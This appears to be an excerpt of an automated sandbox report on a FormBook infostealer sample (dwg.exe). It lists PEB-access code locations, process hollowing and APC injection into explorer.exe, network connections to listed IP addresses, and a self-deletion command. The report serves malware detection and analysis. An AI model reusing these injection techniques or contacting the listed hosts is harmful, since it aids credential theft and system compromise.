Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EAE73 mov eax, dword ptr fs:[00000030h]		10_2_044EAE73
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EAE73 mov eax, dword ptr fs:[00000030h]		10_2_044EAE73
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EAE73 mov eax, dword ptr fs:[00000030h]		10_2_044EAE73
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EAE73 mov eax, dword ptr fs:[00000030h]		10_2_044EAE73
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CC600 mov eax, dword ptr fs:[00000030h]		10_2_044CC600
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CC600 mov eax, dword ptr fs:[00000030h]		10_2_044CC600
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CC600 mov eax, dword ptr fs:[00000030h]		10_2_044CC600
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F8E00 mov eax, dword ptr fs:[00000030h]		10_2_044F8E00
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581608 mov eax, dword ptr fs:[00000030h]		10_2_04581608
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA61C mov eax, dword ptr fs:[00000030h]		10_2_044FA61C
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA61C mov eax, dword ptr fs:[00000030h]		10_2_044FA61C
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0457FE3F mov eax, dword ptr fs:[00000030h]		10_2_0457FE3F
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CE620 mov eax, dword ptr fs:[00000030h]		10_2_044CE620
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F36CC mov eax, dword ptr fs:[00000030h]		10_2_044F36CC
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04598ED6 mov eax, dword ptr fs:[00000030h]		10_2_04598ED6
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0457FEC0 mov eax, dword ptr fs:[00000030h]		10_2_0457FEC0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04508EC7 mov eax, dword ptr fs:[00000030h]		10_2_04508EC7
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F16E0 mov ecx, dword ptr fs:[00000030h]		10_2_044F16E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D76E2 mov eax, dword ptr fs:[00000030h]		10_2_044D76E2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455FE87 mov eax, dword ptr fs:[00000030h]		10_2_0455FE87
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045446A7 mov eax, dword ptr fs:[00000030h]		10_2_045446A7
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04590EA5 mov eax, dword ptr fs:[00000030h]		10_2_04590EA5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04590EA5 mov eax, dword ptr fs:[00000030h]		10_2_04590EA5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04590EA5 mov eax, dword ptr fs:[00000030h]		10_2_04590EA5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DEF40 mov eax, dword ptr fs:[00000030h]		10_2_044DEF40
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DFF60 mov eax, dword ptr fs:[00000030h]		10_2_044DFF60
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04598F6A mov eax, dword ptr fs:[00000030h]		10_2_04598F6A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA70E mov eax, dword ptr fs:[00000030h]		10_2_044FA70E
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA70E mov eax, dword ptr fs:[00000030h]		10_2_044FA70E
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455FF10 mov eax, dword ptr fs:[00000030h]		10_2_0455FF10
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455FF10 mov eax, dword ptr fs:[00000030h]		10_2_0455FF10
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459070D mov eax, dword ptr fs:[00000030h]		10_2_0459070D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459070D mov eax, dword ptr fs:[00000030h]		10_2_0459070D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EF716 mov eax, dword ptr fs:[00000030h]		10_2_044EF716
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C4F2E mov eax, dword ptr fs:[00000030h]		10_2_044C4F2E
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C4F2E mov eax, dword ptr fs:[00000030h]		10_2_044C4F2E
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FE730 mov eax, dword ptr fs:[00000030h]		10_2_044FE730
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045037F5 mov eax, dword ptr fs:[00000030h]		10_2_045037F5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547794 mov eax, dword ptr fs:[00000030h]		10_2_04547794
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547794 mov eax, dword ptr fs:[00000030h]		10_2_04547794
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547794 mov eax, dword ptr fs:[00000030h]		10_2_04547794
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D8794 mov eax, dword ptr fs:[00000030h]		10_2_044D8794
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E0050 mov eax, dword ptr fs:[00000030h]		10_2_044E0050
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E0050 mov eax, dword ptr fs:[00000030h]		10_2_044E0050
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04582073 mov eax, dword ptr fs:[00000030h]		10_2_04582073
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04591074 mov eax, dword ptr fs:[00000030h]		10_2_04591074
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547016 mov eax, dword ptr fs:[00000030h]		10_2_04547016
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547016 mov eax, dword ptr fs:[00000030h]		10_2_04547016
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04547016 mov eax, dword ptr fs:[00000030h]		10_2_04547016
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04594015 mov eax, dword ptr fs:[00000030h]		10_2_04594015
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04594015 mov eax, dword ptr fs:[00000030h]		10_2_04594015
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F002D mov eax, dword ptr fs:[00000030h]		10_2_044F002D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F002D mov eax, dword ptr fs:[00000030h]		10_2_044F002D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F002D mov eax, dword ptr fs:[00000030h]		10_2_044F002D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F002D mov eax, dword ptr fs:[00000030h]		10_2_044F002D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F002D mov eax, dword ptr fs:[00000030h]		10_2_044F002D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DB02A mov eax, dword ptr fs:[00000030h]		10_2_044DB02A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DB02A mov eax, dword ptr fs:[00000030h]		10_2_044DB02A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DB02A mov eax, dword ptr fs:[00000030h]		10_2_044DB02A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DB02A mov eax, dword ptr fs:[00000030h]		10_2_044DB02A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov eax, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov ecx, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov eax, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov eax, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov eax, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455B8D0 mov eax, dword ptr fs:[00000030h]		10_2_0455B8D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C58EC mov eax, dword ptr fs:[00000030h]		10_2_044C58EC
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9080 mov eax, dword ptr fs:[00000030h]		10_2_044C9080
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04543884 mov eax, dword ptr fs:[00000030h]		10_2_04543884
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04543884 mov eax, dword ptr fs:[00000030h]		10_2_04543884
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0 mov eax, dword ptr fs:[00000030h]		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FF0BF mov ecx, dword ptr fs:[00000030h]		10_2_044FF0BF
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FF0BF mov eax, dword ptr fs:[00000030h]		10_2_044FF0BF
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FF0BF mov eax, dword ptr fs:[00000030h]		10_2_044FF0BF
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045090AF mov eax, dword ptr fs:[00000030h]		10_2_045090AF
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EB944 mov eax, dword ptr fs:[00000030h]		10_2_044EB944
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EB944 mov eax, dword ptr fs:[00000030h]		10_2_044EB944
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CC962 mov eax, dword ptr fs:[00000030h]		10_2_044CC962
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CB171 mov eax, dword ptr fs:[00000030h]		10_2_044CB171
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CB171 mov eax, dword ptr fs:[00000030h]		10_2_044CB171
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9100 mov eax, dword ptr fs:[00000030h]		10_2_044C9100
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9100 mov eax, dword ptr fs:[00000030h]		10_2_044C9100
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9100 mov eax, dword ptr fs:[00000030h]		10_2_044C9100
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120 mov eax, dword ptr fs:[00000030h]		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120 mov eax, dword ptr fs:[00000030h]		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120 mov eax, dword ptr fs:[00000030h]		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120 mov eax, dword ptr fs:[00000030h]		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120 mov ecx, dword ptr fs:[00000030h]		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F513A mov eax, dword ptr fs:[00000030h]		10_2_044F513A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F513A mov eax, dword ptr fs:[00000030h]		10_2_044F513A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CB1E1 mov eax, dword ptr fs:[00000030h]		10_2_044CB1E1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CB1E1 mov eax, dword ptr fs:[00000030h]		10_2_044CB1E1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CB1E1 mov eax, dword ptr fs:[00000030h]		10_2_044CB1E1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045541E8 mov eax, dword ptr fs:[00000030h]		10_2_045541E8
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA185 mov eax, dword ptr fs:[00000030h]		10_2_044FA185
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EC182 mov eax, dword ptr fs:[00000030h]		10_2_044EC182
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2990 mov eax, dword ptr fs:[00000030h]		10_2_044F2990
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045451BE mov eax, dword ptr fs:[00000030h]		10_2_045451BE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045451BE mov eax, dword ptr fs:[00000030h]		10_2_045451BE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045451BE mov eax, dword ptr fs:[00000030h]		10_2_045451BE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045451BE mov eax, dword ptr fs:[00000030h]		10_2_045451BE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F61A0 mov eax, dword ptr fs:[00000030h]		10_2_044F61A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F61A0 mov eax, dword ptr fs:[00000030h]		10_2_044F61A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045469A6 mov eax, dword ptr fs:[00000030h]		10_2_045469A6
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04554257 mov eax, dword ptr fs:[00000030h]		10_2_04554257
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9240 mov eax, dword ptr fs:[00000030h]		10_2_044C9240
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9240 mov eax, dword ptr fs:[00000030h]		10_2_044C9240
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9240 mov eax, dword ptr fs:[00000030h]		10_2_044C9240
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C9240 mov eax, dword ptr fs:[00000030h]		10_2_044C9240
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458EA55 mov eax, dword ptr fs:[00000030h]		10_2_0458EA55
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450927A mov eax, dword ptr fs:[00000030h]		10_2_0450927A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0457B260 mov eax, dword ptr fs:[00000030h]		10_2_0457B260
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0457B260 mov eax, dword ptr fs:[00000030h]		10_2_0457B260
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04598A62 mov eax, dword ptr fs:[00000030h]		10_2_04598A62
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D8A0A mov eax, dword ptr fs:[00000030h]		10_2_044D8A0A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458AA16 mov eax, dword ptr fs:[00000030h]		10_2_0458AA16
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458AA16 mov eax, dword ptr fs:[00000030h]		10_2_0458AA16
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E3A1C mov eax, dword ptr fs:[00000030h]		10_2_044E3A1C
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CAA16 mov eax, dword ptr fs:[00000030h]		10_2_044CAA16
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CAA16 mov eax, dword ptr fs:[00000030h]		10_2_044CAA16

Enables debug privileges

Source: C:\Users\user\Desktop\dwg.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 142.250.185.179 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.110.124.43 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.223.115.185 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.0.78.25 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.18.194.20 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.111.137.154 80			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\dwg.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\dwg.exe	Thread register set: target process: 3388			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Thread register set: target process: 3388			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\dwg.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\dwg.exe

Section unmapped: C:\Windows\SysWOW64\cmmon32.exe base address: 130000

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\dwg.exe	Process created: C:\Users\user\Desktop\dwg.exe 'C:\Users\user\Desktop\dwg.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\dwg.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000005.00000002.461660778.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000005.00000000.256795831.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 0000000A.00000002.461890375.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.271741087.0000000006860000.00000004.00000001.sdmp, cmmon32.exe, 0000000A.00000002.461890375.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.256795831.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 0000000A.00000002.461890375.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.256795831.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 0000000A.00000002.461890375.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\dwg.exe

Code function: 0_2_021E120E cpuid

0_2_021E120E

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY

Yara detected Generic Dropper

Source: Yara match	File source: Process Memory Space: dwg.exe PID: 6696, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmmon32.exe PID: 2208, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY